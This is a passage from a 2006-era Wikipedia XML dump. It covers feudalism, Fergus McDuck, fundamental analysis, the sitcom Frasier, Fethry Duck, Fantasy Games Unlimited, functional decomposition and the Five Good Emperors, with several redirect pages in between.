# An overwhelmingly agrarian economy, with limited money exchange, necessitating the dispersion of political authority and the substitution of arrangements involving economic support from local resources; 
# The strength of the Church as an ally and counterpart to the civil-military structure, supported by its right to a share (tithe) of society's output as well as substantial landholdings, and endowed with specific authority and responsibility for moral and material welfare. 
# The existence of structures and phenomena not of themselves explicitly feudal (urban and village organisations, royal executive power, free peasant holdings, financial and commercial activity) but each incorporated into the whole. 

Alongside such broad similarities, it is important to note the divergences both within and between feudal societies (in forms or complexity of noble association, the extent of peasant dependency or the importance of money payments) as well as the changes which occurred over time within the overall structure (as in Bloch's characterisation of the 11th-century onset of a &quot;second feudal age&quot;).

In particular, one should avoid envisaging the social order in terms of a regular &quot;feudal pyramid&quot;, with each man bound to one superior lord and the rank of each clearly defined, in a regular chain of allegiances extending from the king at the top to the peasantry at the bottom: aside from the contrast between free and unfree obligation, allegiance was often given to more than one lord, while an individual might possess attributes of more than one rank. 

Nor should the medieval theory of the &quot;three estates&quot; of society - &quot;those who make war, those who pray and those who labour&quot; (''bellatores'', ''oratores'', ''et'' ''laboratores'') be considered a full description of the social order: while those excluded from the first two came over time to be counted among the third, nobles and clerics alike assumed administrative functions in the feudal state, while financial support was relied upon increasingly as a substitute for direct military service. 

While few would deny that most of [[France]], [[England]], parts of [[Spain]] and the [[Low Countries]], western and central [[Germany]] and (at least for a time) northern and central [[Italy]] satisfied Bloch's criteria over much of the period, the concept remains of greatest use as an interpretive device for comparative study of local phenomena, rather than as a blanket definition of the medieval social order.

==Historical development==

Reaching its most developed form in the Latin [[kingdom of Jerusalem]] in the 12th and 13th centuries, feudal society evolved in its developed form in the northern French heartland of the  [[Carolingians|Carolingian]] monarchy of the 8th-10th centuries, but has its antecedents also in late Roman practice.
[[fr:Système féodal]]
[[nl:Feodale stelsel]]
[[zh:&amp;#23553;&amp;#24314;&amp;#31038;&amp;#20250;]]
[[Category:Middle Ages]]
[[Category:Feudalism]]</text>
    </revision>
  </page>
  <page>
    <title>Fermions</title>
    <id>11682</id>
    <revision>
      <id>15909414</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fermion]]
</text>
    </revision>
  </page>
  <page>
    <title>Fergus McDuck</title>
    <id>11683</id>
    <revision>
      <id>37486202</id>
      <timestamp>2006-01-31T07:29:06Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>sequence template</comment>
      <text xml:space="preserve">'''Fergus McDuck''' ([[1835]]-[[1902]]) is a [[fictional character]] of the [[Scrooge McDuck universe]]. He was born in [[Glasgow]], [[Scotland]] on [[1835]] to [[Dingus McDuck|&quot;Dirty&quot; Dingus McDuck]] and [[Molly Mallard]], both working as [[coal]] miners at the time. He spent most of his life as a mill worker. 

He at some point had an affair with [[Vera O'Drake]]. This would result in the birth of [[Rumpus McFowl]], an illegitimate son. He later married  [[Downy O'Drake]] ([[1840]]- [[1897]]), either a sister or a cousin of Vera,  who became the mother of three of his children. Those are:
*[[Scrooge McDuck]] born [[1867]], sometimes he died [[1967]]
*[[Matilda McDuck]], born [[1871]]
*[[Hortense McDuck]], born [[1876]].

On [[1877]] he encouraged his son to work to have his own money. Scrooge's obvious intelligence, skill at hard work and ambition made his father believe that Scrooge would be able to restore [[The Clan McDuck]] to its former glory.

In [[1885]] the Clan's hereditary lands would have been seized due to Fergus' inability to pay his taxes. But Scrooge spend his savings at the time, 10,000 dollars, to pay the taxes and became the new owner of their lands. While Scrooge was away Fergus and his family moved back to the clan's castle, abandoned for centuries, in Dismal Downs. The family continued to work to pay for the taxes and Scrooge sent them most all of the money he earned while traveling.

Fergus became a widower on [[1897]]. [[Gideon McDuck]], the Italian character who has been used for decades as Scrooge's brother, was presumably born some time after that as an ilegitimate son of Fergus.

Scrooge became rich in the [[Klondike, Yukon|Klondike]] and returned to Scotland in [[1902]] as a bilionaire. Scrooge's intention was originally to settle in Dismal Downs but he quickly changed his mind and decided to settle in the [[United States]].  He wanted to take his family with him.  His sisters accepted but Fergus decided to stay.  He died during the night, aged 67, and his three children left Scotland.

Fergus McDuck is probably the first (main) character to die in a [[The Walt Disney Company|Walt Disney]] cartoon.

In the [[NES]] game [[DuckTales 2]], Scrooge and his nephews found a piece of a treasure map that apparently belonged to Fergus. It claimed to lead to Fergus' lost treasure. However, due to Fergus' inability to pay taxes, it is presumed that this map is not canonical to the [[Scrooge McDuck universe]], unless such treasure was obtained later in his life.

{{sequence|
 prev=[[Dingus McDuck]]|
 list=Important members of [[the Clan McDuck]]|
 next=[[Scrooge McDuck]]
}}

[[Category:Characters in the Scrooge McDuck universe|McDuck, Fergus]]
[[Category:Fictional ducks|McDuck, Fergus]]
[[Category:Fictional Scots|McDuck, Fergus]]
[[da:Frederik von And]]
[[fr:Fergus McPicsou]]
[[it:Fergus de Paperoni]]
[[nl:Fergus McDuck]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental analysis</title>
    <id>11684</id>
    <revision>
      <id>41141598</id>
      <timestamp>2006-02-25T08:17:17Z</timestamp>
      <contributor>
        <username>Solarcaine</username>
        <id>125221</id>
      </contributor>
      <text xml:space="preserve">{{Mergefrom|Fundamentals analysis}}

'''Fundamental analysis''' is a [[stock valuation]] method that uses [[financial analysis]] - that is, an analysis of a company's financial data - to predict the movement of that company's stock price.

A potential (or current) investor uses fundamental analysis to examine a company's financial results, its operations and the market(s) in which the company is competing to understand the stability and growth potential of that company. Company factors to consider might include dividends paid, the way a company manages its cash, the amount of debt a company has, and the growth of a company's revenues, expenses and earnings. 

The theory underpinning fundamental analysis is that, to truly make money in the long run, an investor must focus on the company itself rather than merely on the movement of its stock price. As [[Benjamin Graham]] and [[David Dodd]] say in their classic work ''[[Security Analysis]]'', in the short run, the market is a voting machine, not a weighing machine. An investor uses fundamental analysis to find the companies that are built to last.

Fundamental analysis adherents believe a company's &quot;intrinsic value&quot; will be eventually be reflected in the stock price through market forces, but that, while the market is ultimately [[Efficient market hypothesis|efficient]], some stocks (for any number of reasons) are either over- or under-valued in the short run.  Therefore, the use of fundamental analysis can be viewed as a type of [[arbitrage]].

To this end, [[earnings multiples]], such as the [[PE ratio|P/E ratio]], may be used to determine value, where cash flows are relatively stable and predictable.  An important caveat here is that the P/E ratio is ultimately not an objective measure because it must be interpreted; a high P/E ratio might show an overvalued stock, or it might reflect a company with high potential for growth. One method for combatting this interpretation problem is to use the valuation equations in the works of Aswath Damodaran or on web sites like ValueTool ([http://www.valuetool.com]) that interpret equations such as P/E, P/BV, or FCFE as dollar values, so that they may be easily compared to the stock price.

Other valuation techniques include [[discounted cash flow]], [[book value]], and [[dividend]] yield analysis.

==Criticisms==
* There is very little evidence that fundamental analysis is useful to investors in developed financial markets.
* Some experts suggest that a monkey throwing darts at the financial pages of a newspaper may do just as well (see [[efficient market hypothesis]] and [[random walk hypothesis]]).

== See also ==

* [[Stock valuation]]
* [[Efficient market hypothesis]]
* [[Net present value]]
* [[Discount|Discount rate]]
**[[Capital Asset Pricing Model]]
**[[Cost of capital]]
**[[Weighted average cost of capital]]
* [[CANSLIM]]
* [[Technical analysis]]
* [[Warren Edward Buffett]]

[[Category:Fundamental analysis| ]]
[[Category:Stock market]]

[[id:Analisis fundamental]]</text>
    </revision>
  </page>
  <page>
    <title>Frasier</title>
    <id>11685</id>
    <revision>
      <id>42153897</id>
      <timestamp>2006-03-04T04:21:16Z</timestamp>
      <contributor>
        <ip>129.59.52.65</ip>
      </contributor>
      <comment>/* Minor characters */</comment>
      <text xml:space="preserve">{{infobox television |
  | show_name = Frasier
  | image = [[Image:Frasierlogo.gif|200px]]
  | caption = ''Frasier'' title screen motif
  | format = [[Situation comedy|Sitcom]]
  | runtime = 22 Minutes
  | creator = [[David Angell]], [[Peter Casey]] &amp; [[David Lee]] 
  | starring = [[Kelsey Grammer]]&lt;br&gt;[[David Hyde Pierce]]&lt;br&gt;[[John Mahoney]] &lt;br&gt; [[Jane Leeves]]&lt;br&gt;[[Peri Gilpin]]
  | country = [[United States|USA]]
  | network = [[NBC]]
  | first_aired = [[September 16]], [[1993]]
  | last_aired = [[May 13]], [[2004]]
  | num_episodes = 265
  | imdb_id = 0106004
  |}}
'''''Frasier''''' was a critically acclaimed [[television in the United States|American TV]] [[situation comedy]]. A [[spin-off]] of the highly successful situation comedy ''[[Cheers]]'', it starred [[Kelsey Grammer]], reprising his character of [[Frasier Crane|Dr. Frasier Crane]]. Its first episode aired on [[NBC]] on [[September 16]], [[1993]], and its last episode aired on [[May 13]], [[2004]].

==Creators==

The show was created by [[David Angell]], [[Peter Casey]], and [[David Lee]].  It was produced by Angell, Casey and Lee ([[Grub Street Productions]]) in association with [[Paramount Pictures|Paramount Television]]. Angell, Casey and Lee had also written and produced ''[[Cheers]]'' and created'' [[Wings (sitcom)|Wings]]''.

==Cast==

'''Regulars:'''
*[[Kelsey Grammer]]: [[Frasier Crane|Dr. Frasier Crane]]
*[[David Hyde Pierce]]: [[Niles Crane|Dr. Niles Crane]]
*[[John Mahoney]]: [[Martin Crane]]
*[[Jane Leeves]]: [[Daphne Moon|Daphne Moon/Crane]]
*[[Peri Gilpin]]: [[Roz Doyle]]
*[[Dan Butler]]: [[Bulldog Briscoe|Bob &quot;Bulldog&quot; Briscoe]]
*&quot;[[Moose (dog actor)|Moose]]&quot; and &quot;[[Enzo (dog actor)|Enzo]]&quot;: [[Eddie (character from Frasier)|Eddie]]

'''Recurring Guest Stars'''

*[[Edward Hibbert]]: [[Gil Chesterton]]
*[[Bebe Neuwirth]]: [[Lilith Sternin]]
*[[Trevor Einhorn]]: Frederick Crane
*[[Tom McGowan]]: [[Kenny Daley]]
*[[Patrick Kerr]]: [[Noel Shempsky]]
*[[Harriet Sansom Harris]]: [[Bebe Glazer]]
*[[Marsha Mason]]: Sherry Dempsey
*[[Saul Rubinek]]: Donny Douglas
*[[Jane Adams (actress)|Jane Adams]]: Mel Karnofsky
*[[Millicent Martin]]: [[Gertrude Moon]]
*[[Anthony LaPaglia]]: Simon Moon

==Storyline==

Dr. [[Frasier Crane]] is a [[psychiatrist]] who hosts a radio [[talk show]] in [[Seattle, Washington|Seattle]] on [[KACL (Frasier)|KACL]] 780AM. His friend and producer is single mother [[Roz Doyle]], and his colleague, the sports show host [[Bulldog Briscoe|Bob &quot;Bulldog&quot; Briscoe]] is always on hand to annoy Frasier and hit on Roz. Frasier lives with his father, retired cop [[Martin Crane]] who was shot in the hip when he walked in on a robbery in progress and, because of that, he now walks with a cane. Martin is looked after by his [[Mancunian]] health care worker, [[Daphne Moon]], who is the love interest of Frasier's brother [[Niles Crane]], a fellow psychiatrist who is even more stuffy and pompous than Frasier. Completing the lineup is Martin's dog [[Eddie (character from Frasier)|Eddie]] (Moose, a well-trained [[Jack Russell Terrier]]) who responds with alacrity to the other characters but stares uncomprehendingly at Frasier. When not hosting his radio program, Frasier drinks coffee at the [[Cafe Nervosa]].

[[Image:Frasiercast.jpg|193px|right|thumb|The cast &amp;mdash; from left: John Mahoney, Jane Leeves, Kelsey Grammer, David Hyde Pierce, Peri Gilpin]]

Most of the humor is derived from Frasier's search for romance; [[social class]] conflict, particularly with his blue-collar ex-cop father; sibling rivalry; the pomposity of Frasier as a minor [[celebrity]] and patron of the local Seattle arts scene; and misunderstandings between the characters. 

Oddly, John Mahoney is the only Mancunian in the show--Jane Leeves is not from Manchester, and her character's accent is actually more of Lancashire accent.

==Characters==

''see above links for full character profiles''

'''Frasier Crane''': Played by ''[[Kelsey Grammer]]''.
Holds degrees from [[Harvard University]] and the [[University of Oxford]] and lives in Apartment 1901 of the Elliot Bay Towers on the [[Counterbalance]] in Seattle, Washington.  His hobbies are playing the piano, attending the opera, collecting eclectic art (such as African art) and participating in wine tasting events with his brother Niles. Although Frasier claims not to be interested in sports and is not known for his physical prowess, he occasionally plays squash with Niles. 

Frasier has a son named Frederick with his wife, Dr. [[Lilith Sternin]], whom he divorced around 1993. In the past, he had been married to a free-spirited woman named Nanette, who later achieved fame performing for children as the character &quot;Nanny Gee.&quot;  Frasier also attempted to marry [[Diane Chambers]] in Italy, but she left him at the altar. 

Frasier not only helps listeners who call his radio show, but also the people in his daily life, including Niles, Martin, Daphne and Roz. Ironically, while Frasier seems to have the answers for his listeners and friends, his personal life is plagued by problems and dilemmas that he is helpless to resolve. Throughout the show, Frasier dates a succession of women in the search for his soulmate.

'''Niles Crane''': Played by ''[[David Hyde Pierce]]''. 
Frasier's brother and practicing psychiatrist. Niles shares similar interests and educational background to Frasier (he was educated at [[Yale University]] and [[University of Cambridge]]), and is even more fussy and pedantic than his brother. Niles has an aversion to bugs, has several food allergies, and prefers to dust his chair before sitting. Niles' lack of physical prowess - which includes the inability to catch or throw - is a source of jokes throughout the show. 

Niles is initially married to Maris, a rich heiress and keen society social climber. Niles is also strongly attracted to Daphne Moon, which on the show is (often humorously) suppressed. A major part of the later seasons is dedicated to Niles and Daphne getting together at last and their developing relationship

'''Martin Crane''': Played by ''[[John Mahoney]]''.
Frasier and Niles' father, also known as &quot;Marty&quot; by his friends. Martin worked as a detective in the police force for 30 years until he was shot in the hip during an armed robbery. After finding it increasingly difficult to live on his own, Martin moves in with Frasier (bringing Eddie and his battered armchair). Martin's working-class attitude and simpler outlook on life sometimes lead to confrontations with Frasier.

Martin enjoys watching sports on the television and is a frequent visitor to McGinty's bar. His best friend's (nick)name is 'Duke'.

'''Daphne Moon''': Played by ''[[Jane Leeves]]''.
An immigrant from Manchester, England, Daphne was hired by Frasier to be Martin's physiotherapist and general helper (despite Frasier's initial reservations). Daphne claims to be [[psychic]], and claims her psychic flashes are most prominent when she is approaching her menstrual cycle.

Daphne often mentions her family, including her overbearing mother Gertrude, and her boorish brothers Simon, Steven, Michael and Nigel (played by Anthony LaPaglia, Richard E. Grant, Robbie Coltrane and Cameron Dye respectively). Another brother who is mentioned, Billy, is a ballroom dancer. Daphne also mentions her grandmother, Grammy Moon, who had some interesting food recipes.

'''Roz Doyle''': Played by ''[[Peri Gilpin]]''.
Roz is the producer of Frasier's radio show. She grew up as part of a large family in Wisconsin, including a cheese-making uncle. Her mother, Joanne, is the attorney general of Wisconsin. Roz is known for her sassy attitude and quick-witted remarks, and enjoys deflating Frasier's ego.

She is renowned as a serial dater and once claimed to have had three dates in one day, yet still found time to rotate her tires and defrost her freezer. She eventually becomes pregnant after a brief romance with a young college student, and her daughter Alice May Doyle is born in 1998. 

The character was named after a producer of the television series  [[Wings (TV series)|Wings]], who died shortly before the series began.

'''Eddie''': Played by ''[[Moose (dog actor)|Moose]]''.
Martin's [[Jack Russell Terrier]]. In the first season a running gag features Eddie staring at Frasier.   

===Minor characters===

'''Bob &quot;Bulldog&quot; Briscoe''': The host of ''The Gonzo Sports Show'', which follows Frasier's show on KACL. &quot;Bulldog&quot;, as he is popularly known, is a womanizer and also enjoys playing pranks on Frasier.  Bulldog is fired from KACL in 1999 for falling ratings, although he returns in 2001 working behind the scenes. Played by ''[[Dan Butler]]''; the casting is ironic as Bulldog is a macho, chauvinistic womanizer, yet Butler himself is openly gay.

'''Gil Chesterton''': A pompous restaurant critic who hosts ''Restaurant Beat'' on KACL.  Gil is apparently married to Deb, the owner of a chain of auto-repair stores, although his [[sexual orientation]] has been debated many times by other characters and is something of a running joke on the show. The character is apparently named after ''Frasier'' producer Christopher Lloyd's high school English teacher. Played by ''[[Edward Hibbert]]''.

'''Kenny Daley''': The nervous yet cheerful station manager of KACL from 1998 to 2004.  Kenny ([[Tom McGowan]]) initially superstitiously refuses to unpack his boxes, believing that if he unpacked, he would be fired. Before becoming a station manager, Kenny was a DJ.  At one stage in 1998 he is reduced to delivering pizzas. Kenny often asks Frasier for advice.

'''Bebe Glazer''': Frasier and Bulldog's (and later Roz's) ruthless and money-obsessed agent.  Bebe is not afraid to use trickery and deceit to further her (and her clients') goals. Her methods include pretending to be suicidal during Frasier's contract negotiations and attempting to marry an old, rich millionaire (who unfortunately dies at the altar). Played by ''[[Harriet Sansom Harris]]''.

'''Noel Shempsky''': Frasier and Roz's ''[[Star Trek]]''-obsessed co-worker, Noel works in production at the radio station. Noel is infatuated with Roz, who does not reciprocate his feelings. Noel has a restraining order against him by [[William Shatner]], is able to speak fluent [[Klingon]] and can faint at will. Played by ''[[Patrick Kerr]]''.

'''Maris Crane''': Niles Crane's wife.  She is never seen.  She is regularly referred to throughout the series as an eccentric millionaire's daughter who is extremely thin, and suffers from a never-ending stream of medical problems, including:

* Various allergies;
* [[Hypoglycemia]];
* &quot;Unusually rigid vertebrae&quot;;
* &quot;Inability to produce saliva&quot;;
* Tight quadriceps;
* Various nervous breakdowns;
* An addiction to cough syrup;
* Fear of flying - after being removed from first class.

'''Frederick Crane''': Frasier's son who lives with his mother Lilith in Boston. Frederick regularly flies to Seattle to visit Frasier. Similar to his father and uncle, Frederick is academically gifted but has a distinct lack of physical prowess. He becomes a [[Goth]] during his teenage years. Played by [[Trevor Einhorn]]''.

==The series finale==

On [[May 13]], [[2004]], the [[series finale]] of ''Frasier'' aired. It was watched by 25.4 million viewers.

Several circumstances led to the decision to end the series:
*The high cost, which amounted to $75 million for the last season;
*The series had matched ''Cheers'' in number of seasons, a goal Grammer had for the show
*The changing [[broadcasting|broadcast]] time of the show. It was moved several times, and had to compete against very popular shows like ''[[American Idol]]'' and ''[[24 (television)|24]]''.

Special guest stars in the series finale included [[Wendie Malick]], [[Anthony LaPaglia]], [[Robbie Coltrane]], [[Richard E. Grant]], [[Laura Linney]], [[Jason Biggs]], and [[Jennifer Beals]].

The last show was dedicated to [[David Angell]], one of the creators of ''Frasier'', who, along with his wife, Lynne, died on [[American Airlines Flight 11]] in the [[September 11, 2001 attacks|9/11]] attacks.

==Records==
*As of [[2004]], the series won 37 [[Emmy Award|Emmys]], more than any other show; Kelsey Grammer and David Hyde Pierce each won four of them for acting, including one each for the final season. 

*Grammer played Dr. Frasier Crane for twenty years, which tied the [[James Arness]] portrayal of Marshall Dillon on ''[[Gunsmoke]]'' in terms of character longevity in primetime television.

*Grammer was briefly the highest-paid TV star in history, reaching a salary of $1.6 million per episode for the last two seasons; his record was surpassed by [[Ray Romano]] within a year.

==Trivia==
*[[David Hyde Pierce]] ([[Niles Crane|Dr. Niles Crane]]) and [[John Mahoney]] ([[Martin Crane]]) are the only actors to appear in every episode of the series. Although the character of [[Frasier Crane]] appeared in every episode, [[Kelsey Grammer]] was not present at the filming of the fourth season &quot;Head Game&quot; due to his treatment for drug problems. Grammer and Pierce filmed the opening scene featuring Frasier at a later date.
*When the idea of ''Frasier'' was presented for the first time, the makers of ''Frasier'' questioned whether or not the idea of two brothers of similar temperament would work as a television series. However, the writers created a successful television series that lasted for 11 seasons.
*Frasier's radio show is on KACL 780 AM, which is so named to honor the show's creators: '''A'''ngell, '''C'''asey, '''L'''ee. (The K is a prefix because the station is west of the Mississippi river, a standard in broadcast stations. See [[North American call sign|the page on call signs]] for more on this.)
*The studios for KACL are based on the Los Angeles newsradio station, 790 KABC.
*Niles' wife Maris never makes an appearance on the show, even after 11 seasons.  This was a continuation of a tradition started on ''Cheers''. Norm Peterson's wife, Vera, never shows her face (she does make two appearances, one in which she is hit with a pie before her face is actually shown and another where she is only shown from the knees down).
*Niles' and Daphne's son David Crane is named after ''Frasier'' co-creator David Angell.
*[[Lisa Kudrow]] was originally cast as Roz though the role was recast very early in production.
*The casting directors' second choices for the roles of Niles and Martin Crane were [[Peter MacNicol]] and [[Robert Prosky]] respectively.  Prosky had previously played the father of another ''Cheers'' regular, Rebecca, on an episode of that show.
*''[[Star Trek: The Next Generation]]'', ''[[Star Trek: Deep Space Nine]]'' and ''[[Star Trek: Voyager]]'' were filmed near the Frasier soundstage on the [[Paramount Pictures]] lot. 
*Most of the surviving cast members of Cheers appeared at one time or another, excluding [[Kirstie Alley]]. &lt;!--, who although she is  alleged to have turned it down because she is a [[Scientology|Scientologist]] - Scientologists reject psychiatry/psychology- she in truth was never asked to appear on the show. --&gt;
*The view from Frasier's apartment in Seattle is impossible to achieve. There is no place in the real city where the view he has from his apartment can be seen. The view was made as it is so that the landmark [[Space Needle]] would appear more prominent.
*''Frasier'' was voted by sitcom writers, producers and actors as the greatest sitcom of all time in the [[Channel 4|Channel 4 (UK)]] show ''[[The Ultimate Sitcom]]'', aired on [[January 2]] [[2006]].

==See also==
* [[List of celebrities playing radio show callers on Frasier]]
* [[List of Frasier episodes]]

==External links==
{{wikiquote}}
*{{imdb title|id=0106004|title=Frasier}}
*''[http://tviv.org/wiki/Frasier Frasier]'' at the [[TV IV]]
*[http://www.geocities.com/hollywood/derby/3267/ The Frasier Files], with transcripts of all episodes
*[http://www.nyx.net/~dnadams/frasier.html Frasier program guide website]
*[http://www.geocities.com/goodnightseattle/ Goodnight Seattle, the Unofficial Frasier Page]
*[http://www.frasieronline.co.uk Frasier Online, a UK Frasier fan site]

[[Category:1990s TV shows in the United States]]
[[Category:2000s TV shows in the United States]]
[[Category:Frasier|*]]
[[Category:NBC network shows]]
[[Category:Sitcoms]]
[[Category:Television spin-offs]]

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  </page>
  <page>
    <title>Fethry Duck</title>
    <id>11686</id>
    <revision>
      <id>40444236</id>
      <timestamp>2006-02-20T16:22:42Z</timestamp>
      <contributor>
        <username>Free Parking</username>
        <id>963486</id>
      </contributor>
      <minor />
      <comment>added link to German wikipedia</comment>
      <text xml:space="preserve">'''Fethry Duck''' is a [[fictional character]] who appears in [[Walt Disney]]'s [[comic book]] stories. He was created by [[Dick Kinney]] and [[Al Hubbard (artist)|Al Hubbard]] and was first used in the story &quot;The Health Nut&quot;, published on [[August 2]], [[1964]]. Since then, he has mostly appeared in [[European]] and [[Brazilian]] stories.

In Brazilian stories, Fethry has had a fairly strong presence; in those stories, he is depicted in various occupations, including as a reporter (alongside his cousin [[Donald Duck]] and, sometimes, [[Daisy Duck]]) and a [[comic strip]] artist for [[Scrooge McDuck]]'s [[newspaper]]. He also gained a [[superhero|superheroic]] [[alter ego]], [[The Red Bat]], and a number of supporting characters, among them his nephew [[Dugan Duck]]. Fethry often tries to pursue various new lifestyles, based on books he reads. He is also noted for being a blunderer.

According to [[Don Rosa]]'s [[Duck Family Tree]], Fethry is the son of [[Eider Duck]] and [[Lulubelle Loon]], the [[cousin]] of [[Donald Duck]], and has a [[sibling|brother]] named [[Abner Duck]].

{{disney-stub}}

[[Category:Characters in the Scrooge McDuck universe|Duck, Fethry]]

[[da:Fætter Vims]]
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[[fr:Popop]]
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[[pt:Peninha]]
[[fi:Touho Ankka]]
[[sv:Kusin Knase]]</text>
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  </page>
  <page>
    <title>Fuel-air explosive</title>
    <id>11687</id>
    <revision>
      <id>15909419</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Thermobaric weapon]]
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  </page>
  <page>
    <title>Fascist</title>
    <id>11688</id>
    <revision>
      <id>15909420</id>
      <timestamp>2005-06-19T19:31:31Z</timestamp>
      <contributor>
        <username>Solar</username>
        <id>110519</id>
      </contributor>
      <minor />
      <comment>Removed spam</comment>
      <text xml:space="preserve">#REDIRECT [[Fascism]]</text>
    </revision>
  </page>
  <page>
    <title>Francais</title>
    <id>11689</id>
    <revision>
      <id>15909421</id>
      <timestamp>2004-03-06T22:02:21Z</timestamp>
      <contributor>
        <ip>81.243.82.198</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[French language]]</text>
    </revision>
  </page>
  <page>
    <title>Fantasy Games Unlimited</title>
    <id>11690</id>
    <revision>
      <id>41336332</id>
      <timestamp>2006-02-26T17:59:04Z</timestamp>
      <contributor>
        <username>Lord Doom</username>
        <id>863509</id>
      </contributor>
      <text xml:space="preserve">[[Image:fgu.jpg]]

==History==
'''Fantasy Games Unlimited''' is a [[role-playing game]] company mostly active during the late [[1970s]] and [[1980s]].

Founded in 1975 by Scott Bizar the firsts publications were '''Gladiators''' and '''Royal Armies of the Hyborean Age'''. The company then published role playing games from freelancers.

FGU stopped its activities in 1987 but keep the copyright over its publications.

A reasonable generalization would be to say that although a lot of FGU's output mirrored more mainstream Role playing games by bigger companies (usually TSR) they were almost inevitably more detailed and complicated e.g. [[Aftermath!]] vs TSR's [[Gamma World]] or [[Space_Opera_(game)|Space Opera]] vs [[Traveller_(role-playing_game)|Traveller]].  Despite/because of their complexity they are remembered with affection by many.

==Publications==
* ''[[Aftermath!]]''
* ''[[Bushido (role-playing game)|Bushido]]''
* ''[[Bunnies and Burrows]]''
* ''[[Chivalry &amp; Sorcery]]'' (1st &amp; 2nd editions)
* ''[[Daredevils]]''
* [[Down Styphon]]
* [[Fire, Hack &amp; Run]]
* [[Flash Gordon &amp; the Warriors of Mongo]]
* ''[[Flashing Blades]]''
* [[Frederick the Great]]
* [[Freedom Fighters]]
* [[Gangster!]]
* [[Gladiators]]
* [[Land of the Rising Sun]]
* [[Lands of Adventure]]
* [[Merc]]
* [[Odysseus]]
* [[Other Suns]]
* [[Privateers &amp; Gentlemen]]
* ''[[Psi World]]''
* [[Royal Armies of the Hyborean Age]]
* [[Skull &amp; Crossbones]]
* ''[[Space Opera (game)|Space Opera]]''
* [[Star Explorer]]
* [[Starships &amp; Spacemen]]
* [[Swordbearer]]
* [[Tyrannosaurus wrecks]]
* ''[[Villains &amp; Vigilantes]]''
* [[Wargaming magazine]]
* ''[[Wild West]]''
* [[Wizards' World]]
* [[Year of the Phoenix]]

==External links==
* [http://www.space-opera.org/GB/interviews/scott.htm interview of Scott Bizar].
* [http://www.space-opera.org/mirror/fgu/default.htm FGU website] : mirror page before the closing of the official site.

[[Category:Role-playing game publishing companies]]


{{rpg-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Functional decomposition</title>
    <id>11691</id>
    <revision>
      <id>29506482</id>
      <timestamp>2005-11-28T18:35:42Z</timestamp>
      <contributor>
        <username>Commander Keane bot</username>
        <id>502295</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Stereo</comment>
      <text xml:space="preserve">'''Functional decomposition of engineering''' is a method for analyzing engineered systems. The basic idea is to try to divide a system in such a way that each block of the block diagram can be described without an &quot;and&quot; or &quot;or&quot; in the description.

This exercise forces each part of the system to have a pure [[role|function]]. When a system is composed of pure functions, they can be reused, or replaced. A usual side-effect is that the interfaces between blocks become simple and generic. Since the interfaces usually become simple, it is easier to replace a pure function with a related, similar function.

For example, say that one needs to make a [[boombox|stereo]] system. One might functionally decompose this into [[loudspeaker|speakers]], [[amplifier]], a [[tape deck]] and a front panel. Later, when a different model needs an audio [[CD]], it can probably fit the same interfaces.

This process is powerful when applied to [[software engineering]].</text>
    </revision>
  </page>
  <page>
    <title>First International Bahá'í Council</title>
    <id>11693</id>
    <revision>
      <id>29019404</id>
      <timestamp>2005-11-23T00:31:59Z</timestamp>
      <contributor>
        <username>Jeff3000</username>
        <id>170884</id>
      </contributor>
      <comment>all information in this article in in [[International Bahá'í Council]]</comment>
      <text xml:space="preserve">#REDIRECT [[International Bahá'í Council]]</text>
    </revision>
  </page>
  <page>
    <title>Five Good Emperors</title>
    <id>11695</id>
    <revision>
      <id>41907722</id>
      <timestamp>2006-03-02T15:07:58Z</timestamp>
      <contributor>
        <username>Urshyam</username>
        <id>390483</id>
      </contributor>
      <comment>Removing image with no source information. Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">&lt;!--No Source Information: [[Image:Five Good Emperors.jpg|thumb|right|290px|The Five Good Emperors. From left: [[Nerva]], [[Trajan]], [[Hadrian]], [[Antoninus Pius]], and [[Marcus Aurelius]]]]--&gt;
The &quot;'''Five Good Emperors'''&quot; (sometimes called the Nervan-Antonian Dynasty) were a series of five emperors of the [[Roman Empire]] who ruled from [[96]] to [[180]]. They were known for their moderate policies, in contrast to their more tyrannical and oppressive successors. 

These emperors were [[Nerva]], [[Trajan]], [[Hadrian]], [[Antoninus Pius]], and [[Marcus Aurelius]]. Among the Roman emperors, the period of the five good emperors was particularly notable for the peaceful method of succession. Each emperor chose his successor by [[adoption|adopting]] an heir, thus preventing the political turmoil associated with the succession both before and after this period. The naming by [[Marcus Aurelius]] of his son [[Commodus]] as heir proved to be an unfortunate choice, and the end of the [[Pax Romana]].

This opinion of well-being is best expressed by the historian [[Edward Gibbon]]:

:If a man were called to fix the period in the history of the world during which the condition of the human race was most happy and prosperous, he would, without hesitation, name that which elapsed from the death of [[Domitian]] to the accession of [[Commodus]].  The vast extent of the Roman Empire was governed by absolute power, under the guidance of virtue and wisdom. The armies were restrained by the firm but gentle hand of four successive emperors, whose characters and authority commanded respect.  The forms of the civil administration were carefully preserved by Nerva, Trajan, Hadrian, and the Antonines, who delighted in the image of liberty, and were pleased with considering themselves as the accountable ministers of the laws. Such princes deserved the honour of restoring the republic had the Romans of their days been capable of enjoying a rational freedom. — ''[[The History of the Decline and Fall of the Roman Empire]]''

However, more recent historians, while agreeing with many of the details of this analysis, would not entirely agree with Gibbon's praise of this period.  There were more people under the rule of these emperors than the few affluent individuals whose lives are mentioned or recorded in the historical record. A large fraction of the rest were [[farmer]]s or their dependents, who lived their lives always at the whim of avaricious government officials, or unrestrained [[bandit]]s, no less during the reign of these &quot;Good Emperors&quot; than before or after. The extent to which these people suffered or were happy continues to be subject of historical debate.

==See also==
{{Epochs of Roman Emperors}}

&lt;timeline&gt;
ImageSize  = width:700 height:120
PlotArea   = width:680 height:60 left:10 bottom:20

Colors =
    id:yellow    value:rgb(0.7,0.7,1) # light yellow
    id:red       value:rgb(1,0.7,0.7) # light red
    id:green     value:rgb(0.7,1,0.7) # light green
